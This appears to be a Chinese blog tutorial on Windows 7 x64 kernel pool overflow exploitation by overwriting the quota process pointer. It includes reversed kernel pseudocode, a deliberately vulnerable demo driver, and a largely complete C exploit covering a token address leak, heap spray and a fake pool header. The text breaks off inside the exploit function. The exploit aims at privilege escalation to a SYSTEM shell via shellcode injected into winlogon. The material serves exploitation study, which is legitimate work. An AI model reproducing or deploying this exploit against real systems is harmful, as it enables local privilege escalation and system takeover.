Win7 x64下内核池溢出覆盖配额进程指针(Quota Process Pointer Overwrite)

40 篇文章 7 订阅
14 篇文章 1 订阅

0x0 简介

Win7 x64位下,内核池的头部结构如下:

nt!_POOL_HEADER
   +0x000 PreviousSize     : Pos 0, 8 Bits		// 前一个内核堆块大小除以0x10
   +0x000 PoolIndex        : Pos 8, 8 Bits		// 该池所在池描述符表中的索引
   +0x000 BlockSize        : Pos 16, 8 Bits		// 该池大小除以0x10
   +0x000 PoolType         : Pos 24, 8 Bits		// 该池的类型
   +0x000 Ulong1           : Uint4B
   +0x004 PoolTag          : Uint4B			    // 该池的标志
   +0x008 ProcessBilled    : Ptr64 _EPROCESS	 // 该池所属的进程 
   +0x008 AllocatorBackTraceIndex : Uint2B
   +0x00a PoolTagHash      : Uint2B

正常情况下,我们在内核中分配的池无非就是两种类型(PoolType)分页池(PagedPool = 0x1)和非分页池(NonPagedPool = 0x0),这两种类型的池头,其 ProcessBilled是无效的。而系统中还有一种类型的池叫做 PoolQuota(0x8),这表示该池由某个进程分配,这个进程的 EPROCESS就是池头的 ProcessBilled

As processes can be charged for allocated pool memory, pool allocations must provide sufficient information for the pool algorithms to return the charged quota to the right process. For this reason, pool chunks may optionally store a pointer to the associated process object. On x64, the process object pointer is stored in the last eight bytes of the pool header as described in Section 2.9, while on x86, the pointer is appended to the pool body. Overwriting this pointer (Figure 7) in a pool corruption vulnerability could allow an attacker to free an in-use process object or corrupt arbitrary memory in returning the charged quota.(由于进程可以为已分配的池内存收费,因此池分配必须为池算法提供足够的信息,以便将收费的配额返回给正确的进程。出于这个原因,池块可以选择存储指向相关进程对象的指针。在 x64上,进程对象指针存储在池头的最后 8个字节中,如第2.9节所述,而在 x86上,指针被附加到池体中。在池破坏漏洞中覆盖这个指针(图7)可能会让攻击者释放正在使用的进程对象,或在返回收费配额时破坏任意内存。)

在这里插入图片描述

Whenever a pool allocation is freed, the free algorithm inspects the pool type for the quota bit (0x8) before actually returning the memory to the proper free list or lookaside. If the bit is set, it will attempt to return the charged quota by calling nt!PspReturnQuota and then dereference the associated process object. Thus, overwriting the process object pointer could allow an attacker to decrement the reference (pointer) count of an arbitrary process object. Reference count inconsistencies could subsequently lead to use-after-frees if the right conditions are met (such as the handle count being zero when the reference count is lowered to zero).(每当一个池分配被释放时,在实际将内存返回到适当的空闲列表或备用表之前,空闲算法会检查池类型中的配额位(0x8)。如果设置了该位,它将通过调用 n t ! P s p R e t u r n Q u o t a \textcolor{cornflowerblue}{nt!PspReturnQuota} nt!PspReturnQuota,然后解引用关联的进程对象。因此,重写进程对象指针可能允许攻击者这样做,递减任意进程对象的引用(指针)计数。如果满足了正确的条件(例如,当引用计数降为零时,句柄计数为零),引用计数不一致可能会导致释放后使用。)

在这里插入图片描述

If the process object pointer is replaced with a pointer to user-mode memory, the attacker could create a fake EPROCESS object to control the pointer to the EPROCESS QUOTA BLOCK structure (Figure 8), in which quota information is stored. On free, the value indicating the quota used in this structure is updated, by subtracting the size of the allocation. Thus, an attacker could decrement the value of an arbitrary address upon returning the charged quota. An attacker can mount both attacks on any pool allocation as long as the quota bit and the quota process object pointer are both set.(如果进程对象指针被替换为指向用户模式内存的指针,攻击者可以创建一个假的 EPROCESS对象来控制指向EPROCESS_QUOTA_BLOCK结构的指针(图8),配额信息存储在这个结构中。在空闲时,通过减去分配的大小来更新指示该结构中使用的配额的值。因此,攻击者可以在返回收费配额时减少任意地址的值。只要配额位和配额进程对象指针都设置了,攻击者就可以对任何池分配进行这两种攻击。)

网 上 能 找 到 的 关 于 覆 盖 配 额 进 程 指 针 的 利 用 方 式 描 述 的 不 够 具 体 , 于 是 我 花 了 比 较 多 的 时 间 去 逆 向 分 析 了 系 统 的 相 关 算 法 。 \textcolor{green}{网上能找到的关于覆盖配额进程指针的利用方式描述的不够具体,于是我花了比较多的时间去逆向分析了系统的相关算法。}

0x1 原理

■ ExFreePoolWithTag 分析

E x F r e e P o o l W i t h T a g \textcolor{cornflowerblue}{ExFreePoolWithTag} ExFreePoolWithTag函数中对具有 PoolQuota类型池的回收方式:

...
if ( PoolType & 8 )// 检查当前被释放的块是否设置了 PoolQuota
{
    PoolType_1 = PrevSize[3];
    if ( PoolType_1 & 8 )// 检查当前被释放的块是否设置了 PoolQuota
    {
        ProceeBilled = *((_QWORD *)PrevSize + 1);
        if ( ProceeBilled )
        {
            JUMPOUT(*(_BYTE *)ProceeBilled & 0x7F, 3, &sub_1401AAD28);// ProcessBilled->Pcb.Header.Type
            // 正确值为0x3,否则会报异常
            JUMPOUT(ProceeBilled, PsInitialSystemProcess, sub_1401AAD45);// PsInitialSystemProcess的值就是系统进程System的EPROCESS,
            // 如果ProcessBilled指向的是Syste的EPROCESS,则直接跳到62行
            PspReturnQuota(
                *(_QWORD *)(ProceeBilled + 0x1C0),// QuotaBlock
                *((_QWORD *)PrevSize + 1),        // ProcessBilled
                (PoolType_1 & 1) == 1,            // PoolType & 1 ==1
                0x10i64 * PrevSize[2]);           // BlockSize
            JUMPOUT(ObpTraceFlags, 0, sub_1401AAD4F);
            v43 = _InterlockedDecrement64((volatile signed __int64 *)(ProceeBilled - 0x30));// *(ProcessBilled - 0x30)-=1
            if ( v43 )
            {
                if ( v43 < 0 )
                    sub_1401AAD9F(1i64);
            }
            else
            {
                JUMPOUT(*(_QWORD *)(ProceeBilled - 0x30 + 8), 0i64, &sub_1401AAD7B);// 如果不为 ProceeBilled - 0x30 + 8 处的
                // 值不为0,则报异常
                ObpDeferObjectDeletion(ProceeBilled - 0x30);// 删除对象
            }
        }
    }
}
...
■ PspReturnQuota分析
unsigned __int64 __fastcall PspReturnQuota(unsigned __int64 QuotaBlock, __int64 ProcessBilled, int bIsPagedPool, unsigned __int64 BlockSize)
{
  ...
  BlockSize_1 = BlockSize;
  ...
  _RBP = ((signed __int64)bIsPagedPool << 7) + QuotaBlock;// 根据bIsPagedPool的取值获取分页池的配额块信息或者非分页池的配额块信息
  __asm { prefetchw byte ptr [rbp+0] }
  QuotaValue1 = *(_QWORD *)_RBP;						
  QuotaValue2 = *(_QWORD *)(_RBP + 0x40);
  if ( *(_QWORD *)(_RBP + 0x50) )               // 未知含义的指针
  {
    if ( QuotaValue2 > QuotaValue1 )
    {
      QuotaExpansionDescriptor = 0x38i64 * bIsPagedPool + 0x1402279A0i64;// 获取(分页或非分页池的)配额扩展描述符
      PoolQuota = qword_1402279A8[7 * bIsPagedPool];// 获取(分页或非分页池的)配额大小
      if...
      /*
       * 省略掉的if块语句作用是根据QuotaValue2和QuotaValue1调整进程池配额的大小
       */
    }
  }
  do
  {
    JUMPOUT(BlockSize_1, QuotaValue1, sub_140027672);
    result = _InterlockedCompareExchange((volatile signed __int64 *)_RBP, QuotaValue1 - BlockSize_1, QuotaValue1);// 这里可以利用
    v13 = QuotaValue1 == result;
    QuotaValue1 = result;
  }
  while ( !v13 );
  ...
  return result;
}
  • @line:25 这个地方就是简介中论文提到的利用点,将 Q u o t a V a l u e 1 − B l o c k S i z e \textcolor{orange}{QuotaValue1-BlockSize} QuotaValue1BlockSize的值写入到 _RBP指向的内存中,而 _RBP指针又是根据 bIsPagedPoolQuotaBlock来获取。由于大前提是我们能够通过池漏洞覆盖 ProcessBilled指针,QuotaBlock位于 E P R O C E S S + 0 x 1 C 0 \textcolor{orange}{EPROCESS+0x1C0} EPROCESS+0x1C0,所以 _RBP指针是可控的,这样我们便获得了一次任意内存写的机会。

0x2 利用

根据 @0x1 原理一节的分析,我们需要对 ProcessBilled指向的内存,也就是 EPROCESS结构进行一些伪造,才能成功获得一次任意内存写的机会。函数 E x F r e e P o o l W i t h T a g \textcolor{cornflowerblue}{ExFreePoolWithTag} ExFreePoolWithTagEPROCESS的检查有两个地方;

JUMPOUT(*(_BYTE *)ProceeBilled & 0x7F, 3, &sub_1401AAD28);// ProcessBilled->Pcb.Header.Type 正确值为0x3,否则会报异常
...
v43 = _InterlockedDecrement64((volatile signed __int64 *)(ProceeBilled - 0x30));// *(ProcessBilled - 0x30)-=1
if ( v43 )
{
    if ( v43 < 0 )
        sub_1401AAD9F(1i64);
}
else
{
    JUMPOUT(*(_QWORD *)(ProceeBilled - 0x30 + 8), 0i64, &sub_1401AAD7B);// 如果不为 ProceeBilled - 0x30 + 8 处的
    // 值不为0,则报异常
    ObpDeferObjectDeletion(ProceeBilled - 0x30);// 删除对象
}
  • 伪造 ProceeBilled起始处内存值为 0x3
  • 伪造 P r o c e e B i l l e d − 0 x 30 \textcolor{orange}{ProceeBilled - 0x30} ProceeBilled0x30处的内存值大于 1

然后是伪造 BlockQuota指向的内存, B l o c k Q u o t a   =   E P R O C E S S + 0 x 1 C 0 \textcolor{orange}{BlockQuota\ =\ EPROCESS+0x1C0} BlockQuota = EPROCESS+0x1C0。要注意的有几个地方:

这里统一视作非分页池来利用,也就是说 b I s P a g e d P o o l = 0 \textcolor{orange}{bIsPagedPool=0} bIsPagedPool=0,这样 _RBP就是 BlockQuota的第一个 8字节数据。我们将 _RBP的值设置为当前进程的 T o k e n + 0 x 48 \textcolor{orange}{Token+0x48} Token+0x48,然后 QuotaValue1也就是 ∗ ( T o k e n + 0 x 48 ) \textcolor{orange}{*(Token+0x48)} (Token+0x48)。下面将解释为什么要这么设置 _RBP

首先来看TOKEN的结构体:

nt!_TOKEN
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER
   +0x030 TokenLock        : Ptr64 _ERESOURCE
   +0x038 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
...

我们主要关注的是位于 T O K E N + 0 x 40 \textcolor{orange}{TOKEN+0x40} TOKEN+0x40处的 Privileges,该结构限制了进程的权限。

nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : Uint8B
   +0x008 Enabled          : Uint8B
   +0x010 EnabledByDefault : Uint8B

这是个包含位掩码的结构体,Enabled掩码表示了该进程具有的权限,该位掩码默认值是 0x80000000,即默认具有 SeChangeNotifyPrivilege权限。所以QuotaValue1默认值也就是 0x80000000。当执行到 ∗ _ R B P   =   Q u o t a V a l u e 1   −   B l o c k S i z e \textcolor{orange}{*\_RBP\ =\ QuotaValue1\ -\ BlockSize} _RBP = QuotaValue1  BlockSize,并且控制 BlockSize尽量小,例如 0x10x30等等,那么 Enabled就会变成 0x7fff… 这样形式的值,反而使得 Privileges表示了更多更大的权限,从而达到权限提升的目的。最后再向 winlogon.exe进程注入 shellcode,弹出一个 SYSTEMcmd,就完美实现了提权。

最终我们的内存布局如下图所示:

在这里插入图片描述

  • 利用堆喷,构造出两个相邻的内核堆,Vuln PoolVictim Pool。通过溢出 Vuln Pool覆盖 Victim Pool_POOL_HEADER结构,然后将 ProcessBilled覆盖为自己伪造的 EPROCESS

0x3 泄露Token

Win7下可以通过函数 Z w Q u e r y S y s t e m I n f o r m a t i o n \textcolor{cornflowerblue}{ZwQuerySystemInformation} ZwQuerySystemInformation泄露 Token在内核中的位置。

NTSTATUS 
ZwQuerySystemInformation(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,				// 系统信息类枚举值
    PVOID SystemInformation,									  // 接收查询结果的缓冲区
    ULONG SystemInformationLength,                                   // 接收查询结果缓冲区的大小
    PULONG ReturnLength);                                            // 实际查询结果的大小

利用系统信息类枚举值 SystemExtendedHandleInformation(64),即可查询系统所有的句柄信息,然后对比 Token的句柄信息和 进程ID即可获取 Token对象在内核中的地址。

SystemExtendedHandleInformation(64)对应的结构如下:

typedef struct _SYSTEM_HANDLE
{
    PVOID Object;												// 对象在内核中的位置
	HANDLE UniqueProcessId;                                         // 对象所属进程的ID
	HANDLE HandleValue;                                             // 对象句柄
	ULONG GrantedAccess;
	USHORT CreatorBackTraceIndex;
	USHORT ObjectTypeIndex;
	ULONG HandleAttributes;
	ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
	ULONG_PTR HandleCount;
	ULONG_PTR Reserved;
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;

获取当前进程的 Token句柄:

HANDLE hToken = INVALID_HANDLE_VALUE;
OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &hToken);

获取当前进程的 Token在内核中的地址:

ULONG64 GetToken() {
	PSYSTEM_HANDLE_INFORMATION_EX sys_handle_info_ref = NULL;
	ULONG64 Token = 0;
	ULONG len = 20;
	NTSTATUS ntst = 0;

	OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &hToken);
	if (hToken == INVALID_HANDLE_VALUE) {
		printf("[Error_%d] GetToken(): OpenProcessToken failed.\n", __LINE__);
		return 0;
	}
	//获取本进程的EPROCESS
	do {
		len *= 2;
		sys_handle_info_ref = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(sys_handle_info_ref, len);
		ntst = ZwQuerySystemInformation(SystemExtendedHandleInformation, sys_handle_info_ref, len, &len);
	} while (ntst == STATUS_INFO_LENGTH_MISMATCH);

	if (ntst != 0) {
		printf("[Error_%d] GetToken(): ZwQuerySystemInformation failed.\n", __LINE__);
		if (sys_handle_info_ref)
			free(sys_handle_info_ref);
		return 0;
	}

	DWORD pid = GetCurrentProcessId();
	for (int i = 0; i < sys_handle_info_ref->HandleCount; i++) {
		if (hToken == sys_handle_info_ref->Handles[i].HandleValue
			&& (HANDLE)pid== sys_handle_info_ref->Handles[i].UniqueProcessId) {
			Token = (ULONG64)sys_handle_info_ref->Handles[i].Object;
			break;
		}
	}

	if (sys_handle_info_ref)
		free(sys_handle_info_ref);

	return Token;
}

0x4 实战

■ 漏洞代码

这是我自己写的一个漏洞驱动。

dirver.cpp:

#include "driver.h"

NTSTATUS CreateDevice(IN PDRIVER_OBJECT pDriver) {
	UNICODE_STRING devName;//设备名
	UNICODE_STRING symName;//符号链接名
	PDEVICE_OBJECT pDeviceObject;
	NTSTATUS ntstatus = STATUS_SUCCESS;

	RtlInitUnicodeString(&devName, DEV_NAME);
	ntstatus = IoCreateDevice(
		pDriver,
		sizeof(Demo_Data),
		&devName,
		FILE_DEVICE_UNKNOWN,
		0,
		TRUE,
		&pDeviceObject
	);
	if (!NT_SUCCESS(ntstatus)) {
		KdPrint(("[Demo_sys] CreateDevice(): 设备创建失败!错误代码:0x%X\n", ntstatus));
		return ntstatus;
	}

	// 创建设备扩展
	Demo_Data_Ref dat = (Demo_Data_Ref)ExAllocatePoolWithTag(NonPagedPool, sizeof(Demo_Data), POOL_TAG);

	if (dat == NULL) {
		IoDeleteDevice(pDeviceObject);
		KdPrint(("[Demo_sys] CreateDevice(): 系统资源紧缺!错误代码:0x%X\n", ntstatus));
		return ntstatus;
	}
	RtlFillMemory(dat, sizeof(Demo_Data), 0);
	pDeviceObject->DeviceExtension = dat;

	RtlInitUnicodeString(&symName, SYMLINK_NAME);
	ntstatus = IoCreateSymbolicLink(&symName, &devName);

	if (!NT_SUCCESS(ntstatus)) {
		KdPrint(("[Demo_sys] CreateDevice(): 符号链接创建失败!错误代码:0x%X\n", ntstatus));
		IoDeleteDevice(pDeviceObject);
		return ntstatus;
	}
	pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;

	return ntstatus;
}

NTSTATUS MyDispatch(IN PDEVICE_OBJECT pDevice, PIRP pIrp) {
	NTSTATUS ntstatus = STATUS_SUCCESS;
	PIO_STACK_LOCATION pIostk;
	Ring3_Data_Ref UsrDat = NULL;

	pIostk = IoGetCurrentIrpStackLocation(pIrp);//获取当前的设备栈
	Demo_Data_Ref ddat = (Demo_Data_Ref)pDevice->DeviceExtension;

	switch (pIostk->MajorFunction)
	{
	case IRP_MJ_DEVICE_CONTROL://应用层传来的控制信息
	{
		UsrDat = (Ring3_Data_Ref)pIrp->AssociatedIrp.SystemBuffer;//获取缓冲区
		switch (pIostk->Parameters.DeviceIoControl.IoControlCode)
		{
		case IRP_ALLOC_HEAP:
			KernelHeap_Alloc(ddat, UsrDat);
			break;
		case IRP_FREE_HEAP:
			KernelHeap_Free(ddat, UsrDat);
			break;
		case IRP_WRITE_DATA:
			Update_Data(ddat, UsrDat);
			break;
		case IRP_BREAKPOINT:
			KdBreakPoint();
			break;
		default:
			break;
		}
		
		break;
	}
	case IRP_MJ_CREATE:
		ddat->Alloc_List = (PCHAR*)ExAllocatePoolWithTag(PagedPool, sizeof(PCHAR) * POOL_NUM, POOL_TAG);
		RtlFillMemory(ddat->Alloc_List, sizeof(PCHAR) * POOL_NUM, NULL);
		KdPrint(("[Demo_sys] 祝您的黑客之旅愉快!\n"));
		break;
	case IRP_MJ_CLOSE:
	{
		for (ULONG i = 0; i < POOL_NUM; i++)
		{
			if (ddat->Alloc_List[i])
			{
				ExFreePoolWithTag(ddat->Alloc_List[i], POOL_TAG);
				ddat->Alloc_List[i] = NULL;
			}
		}
		ExFreePoolWithTag(ddat->Alloc_List, POOL_TAG);
		ddat->Alloc_List = NULL;
		KdPrint(("[Demo_sys] 再见,黑客!\n"));
		break;
	}
	}
	pIrp->IoStatus.Status = STATUS_SUCCESS;//设置pIrp的状态为成功
	pIrp->IoStatus.Information = 0;//返回给DeviceIoControl中的lpByteReturned参数
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);//调用方已完成所有的IO请求,且不增加优先级
	return ntstatus;
}

VOID UnloadDriver(IN PDRIVER_OBJECT pDriverObject) {
	if (pDriverObject->DeviceObject!=NULL) {
		IoDeleteDevice(pDriverObject->DeviceObject);
	}

	UNICODE_STRING symName;//符号链接名
	RtlInitUnicodeString(&symName, SYMLINK_NAME);
	IoDeleteSymbolicLink(&symName);

	KdPrint(("[Demo_sys] Over~\n"));
}

extern "C"
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegPath) {
	NTSTATUS ntst = STATUS_SUCCESS;

	ntst=CreateDevice(pDriverObject);
	if (!NT_SUCCESS(ntst))
		return ntst;

	pDriverObject->MajorFunction[IRP_MJ_CREATE] = MyDispatch;
	pDriverObject->MajorFunction[IRP_MJ_CLOSE] = MyDispatch;
	pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyDispatch;
	pDriverObject->DriverUnload = UnloadDriver;

	return ntst;
}

PVOID KernelHeap_Alloc(IN Demo_Data_Ref ddt,IN Ring3_Data_Ref data) {
	PVOID KernelBuffer = NULL;

	PAGED_CODE();

	if (ddt == NULL || data->Index >= POOL_NUM) {
		KdPrint(("[Demo_sys] KernelHeap_Alloc(): 参数错误。\n"));
		return NULL;
	}

	if (ddt->Counts >= POOL_NUM) {
		KdPrint(("[Demo_sys] KernelHeap_Alloc(): 分配的池数量最多为%u个,已经超额。\n",POOL_NUM));
		return NULL;
	}

	if (ddt->Alloc_List[data->Index] == NULL)
	{
		ddt->Counts += 1;
		KernelBuffer = ExAllocatePoolWithTag((POOL_TYPE)data->Type, data->Size, POOL_TAG2);
		ddt->Alloc_List[data->Index] = (PCHAR)KernelBuffer;
		return KernelBuffer;
	}
	return KernelBuffer;
}

VOID KernelHeap_Free(IN Demo_Data_Ref ddt, IN Ring3_Data_Ref data) {
	PAGED_CODE();

	if (ddt == NULL || data->Index >= POOL_NUM) {
		KdPrint(("[Demo_sys] KernelHeap_Free(): 参数错误。\n"));
		return;
	}

	if (ddt->Alloc_List[data->Index])
	{
		ExFreePoolWithTag(ddt->Alloc_List[data->Index], POOL_TAG2);
		ddt->Alloc_List[data->Index] = NULL;
		ddt->Counts -= 1;
	}
}

VOID Update_Data(IN Demo_Data_Ref ddt, IN Ring3_Data_Ref data) {
	PAGED_CODE();

	if (ddt == NULL || data->Index >= POOL_NUM) {
		KdPrint(("[Demo_sys] KernelHeap_Free(): 参数错误。\n"));
		return;
	}

	if (ddt->Alloc_List[data->Index])
	{
		RtlMoveMemory(ddt->Alloc_List[data->Index], &data->Data, data->Size);
	}
}

driver.h:

#pragma once
#include<ntddk.h>

#define DEV_NAME  L"\\device\\demo"
#define SYMLINK_NAME L"\\??\\demo"

#define POOL_TAG 'Demo'
#define POOL_TAG2 'Hack'
#define POOL_NUM 0x10000

#define  MAKE_IOCODE(x) CTL_CODE (FILE_DEVICE_UNKNOWN,(x),METHOD_BUFFERED,FILE_ANY_ACCESS)

#define IRP_ALLOC_HEAP MAKE_IOCODE(0x801)
#define IRP_FREE_HEAP MAKE_IOCODE(0x802)
#define IRP_WRITE_DATA MAKE_IOCODE(0x803)
#define IRP_BREAKPOINT MAKE_IOCODE(0x804)

#pragma pack(4)
typedef struct _Ring3_Data {
	ULONG Type;
	ULONG Size;
	ULONG Index;
	char Data[1];
}Ring3_Data,*Ring3_Data_Ref;

typedef struct _Demo_Data {
	PCHAR* Alloc_List;
	ULONG Counts;
}Demo_Data,* Demo_Data_Ref;
#pragma  pack()

EXTERN_C_START
VOID UnloadDriver(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS CreateDevice(IN PDRIVER_OBJECT pDriver);
NTSTATUS MyDispatch(IN PDEVICE_OBJECT pDevice, PIRP pIrp);
PVOID KernelHeap_Alloc(IN Demo_Data_Ref ddt,IN Ring3_Data_Ref data);
VOID KernelHeap_Free(IN Demo_Data_Ref ddt,IN Ring3_Data_Ref data);
VOID Update_Data(IN Demo_Data_Ref ddt, IN Ring3_Data_Ref data);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegPath);
EXTERN_C_END

#ifdef ALLOC_PRAGMA
#define ALLOC_PRAGMA
#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(PAGE, KernelHeap_Alloc)
#pragma alloc_text(PAGE, KernelHeap_Free)
#pragma alloc_text(PAGE, Update_Data)
#endif

在 W i n 7 _ x 64 下 编 译 运 行 \textcolor{green}{在Win7\_x64下编译运行} Win7_x64

■ 漏洞分析

源码已经给出,简单说一下。这是个堆溢出漏洞,用户使用 IRP_WRITE_DATA控制码,设定一个 R i n g 3 _ D a t a . S i z e \textcolor{orange}{Ring3\_Data.Size} Ring3_Data.Size大于分配的大小,就会发生溢出,写入的内容由 R i n g 3 _ D a t a . D a t a \textcolor{orange}{Ring3\_Data.Data} Ring3_Data.Data指定, R i n g 3 _ D a t a \textcolor{orange}{Ring3\_Data} Ring3_Data是个可变长结构,以 4字节对齐。

IRP_ALLOC_HEAP 控制码控制驱动分配一块内核池,用户通过设定 Ring3_Data的相关成员来获得想要的内核池类型和大小。

IRP_FREE_HEAP控制码控制驱动释放指定的内核池,用户通过设定 R i n g 3 _ D a t a . I n d e x \textcolor{orange}{Ring3\_Data.Index} Ring3_Data.Index来指明释放的是哪块内核池。

■ 漏洞利用

首先需要进行堆喷,构造出至少一对连续的内核池,经测试,当喷射到达 0x2000以上,比较稳定地出现第 0x2000个内核池后紧跟着相同标记的内核池的现象。

在这里插入图片描述

然后根据 @0x2 利用一节介绍的方法,构造 POOL_HEADERProcessBilled

■ EXP

exploit.h:

#pragma once
#include<windows.h>

#define SYMLINK_NAME "\\\\.\\demo"

#define  MAKE_IOCODE(x) CTL_CODE (FILE_DEVICE_UNKNOWN,(x),METHOD_BUFFERED,FILE_ANY_ACCESS)

#define IRP_ALLOC_HEAP MAKE_IOCODE(0x801)
#define IRP_FREE_HEAP MAKE_IOCODE(0x802)
#define IRP_WRITE_DATA MAKE_IOCODE(0x803)
#define IRP_BREAKPOINT MAKE_IOCODE(0x804)

#define Type_Offset(_type,_m)   ((size_t) & ((_type *)0)->_m )

#define NonPagedPool 0
#define PoolQutoa 0x8
#define SPRAY_COUNTS 0x5000

#define BUFFER_SIZE 0x20

#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L) 

#pragma pack(4)
typedef struct _Ring3_Data {
	ULONG Type;
	ULONG Size;
	ULONG Index;
	char Data[1];
}Ring3_Data, * Ring3_Data_Ref;

#pragma  pack()

typedef enum _SYSTEM_INFORMATION_CLASS {
	SystemProcessorInformation=1,
	SystemExtendedHandleInformation = 64
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_HANDLE
{
	PVOID Object;
	HANDLE UniqueProcessId;
	HANDLE HandleValue;
	ULONG GrantedAccess;
	USHORT CreatorBackTraceIndex;
	USHORT ObjectTypeIndex;
	ULONG HandleAttributes;
	ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
	ULONG_PTR HandleCount;
	ULONG_PTR Reserved;
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;

typedef NTSTATUS (WINAPI* ZwQuerySystemInformation_t)(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength);

typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(
	IN HANDLE ProcessHandle, 
	IN OUT PVOID* BaseAddress, 
	IN ULONG ZeroBits, 
	IN OUT PULONG AllocationSize, 
	IN ULONG AllocationType, 
	IN ULONG Protect);


HANDLE OpenDevice();
bool Heap_Spray(HANDLE hDev);
void Exploit();
bool IoDriver(HANDLE hDevice, DWORD IoCode, Ring3_Data_Ref data, DWORD size);
bool Init();
void GetShell();
bool CheckPrivilege(HANDLE TokenHandle);
DWORD getProcessId(TCHAR* name);

exploit.cpp:

#include "exploit.h"
#include<stdio.h>
#include<stdlib.h>
#include <psapi.h>

#pragma comment(lib, "Psapi.lib ")

ZwQuerySystemInformation_t ZwQuerySystemInformation = 0;
NtAllocateVirtualMemory_t	NtAllocateVirtualMemory=0;

HANDLE hToken = INVALID_HANDLE_VALUE;

HANDLE OpenDevice() {
	HANDLE hDev = INVALID_HANDLE_VALUE;
	hDev = CreateFileA(
		SYMLINK_NAME,
		GENERIC_READ | GENERIC_WRITE,
		0,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		0
	);
	return hDev;
}

bool IoDriver(HANDLE hDevice,DWORD IoCode, Ring3_Data_Ref data,DWORD size) {

	DWORD dwWrite;
	return DeviceIoControl(
		hDevice,//设备句柄
		IoCode,//控制码
		data, //输入缓冲区
		size, //输入缓冲区大小
		NULL,//输出缓冲区
		0,//输出缓冲区大小
		&dwWrite,//实际写入的大小
		NULL
	);
}

bool Heap_Spray(HANDLE hDev) {
	Ring3_Data data;
	data.Size = BUFFER_SIZE;
	data.Type = NonPagedPool;

	for (int i = 0; i < SPRAY_COUNTS; i++) {
		data.Index = i;
		if (!IoDriver(hDev, IRP_ALLOC_HEAP, &data, sizeof(Ring3_Data))) {
			printf("[Error_%d] Heap_Spray(): IoDriver failed.\n", __LINE__);
			return FALSE;
		}
	}

	return TRUE;
}

ULONG64 GetToken() {
	PSYSTEM_HANDLE_INFORMATION_EX sys_handle_info_ref = NULL;
	ULONG64 Token = 0;
	ULONG len = 20;
	NTSTATUS ntst = 0;

	OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &hToken);
	if (hToken == INVALID_HANDLE_VALUE) {
		printf("[Error_%d] GetToken(): OpenProcessToken failed.\n", __LINE__);
		return 0;
	}
	
	do {
		len *= 2;
		sys_handle_info_ref = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(sys_handle_info_ref, len);
		ntst = ZwQuerySystemInformation(SystemExtendedHandleInformation, sys_handle_info_ref, len, &len);
	} while (ntst == STATUS_INFO_LENGTH_MISMATCH);

	if (ntst != 0) {
		printf("[Error_%d] GetToken(): ZwQuerySystemInformation failed.\n", __LINE__);
		if (sys_handle_info_ref)
			free(sys_handle_info_ref);
		return 0;
	}

	DWORD pid = GetCurrentProcessId();

	for (int i = 0; i < sys_handle_info_ref->HandleCount; i++) {
		if (hToken == sys_handle_info_ref->Handles[i].HandleValue
			&& (HANDLE)pid== sys_handle_info_ref->Handles[i].UniqueProcessId) {
			Token = (ULONG64)sys_handle_info_ref->Handles[i].Object;
			break;
		}
	}

	if (sys_handle_info_ref)
		free(sys_handle_info_ref);

	return Token;
}

bool CheckPrivilege(HANDLE TokenHandle)
{
	BOOL isPrivilegeSet=FALSE;
	PRIVILEGE_SET		privSet;
	LUID_AND_ATTRIBUTES Privileges[1];
	LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &(Privileges[0].Luid));
	Privileges[0].Attributes = 0;

	privSet.PrivilegeCount = 1;
	privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
	memcpy(privSet.Privilege, Privileges, sizeof(Privileges));

	PrivilegeCheck(TokenHandle, &privSet, &isPrivilegeSet);
	return isPrivilegeSet;
}

void Exploit() {
	ULONG64 Token = GetToken();
	if (Token == 0)return;

	HANDLE hDev = OpenDevice();
	if (hDev == INVALID_HANDLE_VALUE) {
		printf("[Error_%d] Exploit(): OpenDevice failed.\n",__LINE__);
		return;
	}

	Heap_Spray(hDev);
	// 溢出
	IoDriver(hDev, IRP_BREAKPOINT, NULL, 0);

	PCHAR pay = (PCHAR)GlobalAlloc(GMEM_ZEROINIT, sizeof(Ring3_Data)+0x30+0x200);

	Ring3_Data_Ref data=(Ring3_Data_Ref)pay;
	data->Index = 0x2000;
	data->Size = 0x30;//0x30;

	RtlFillMemory(pay + Type_Offset(Ring3_Data,Data), 0x20, 'AAAA');

	PCHAR FakeHeader= pay + Type_Offset(Ring3_Data, Data) +0x20;
	// PreviousSize
	FakeHeader[0] = 0x3;
	// PoolIndex
	FakeHeader[1] = 0;
	// BlockSize
	FakeHeader[2] = 0x3;
	// PoolType
	FakeHeader[3] = 0xA;
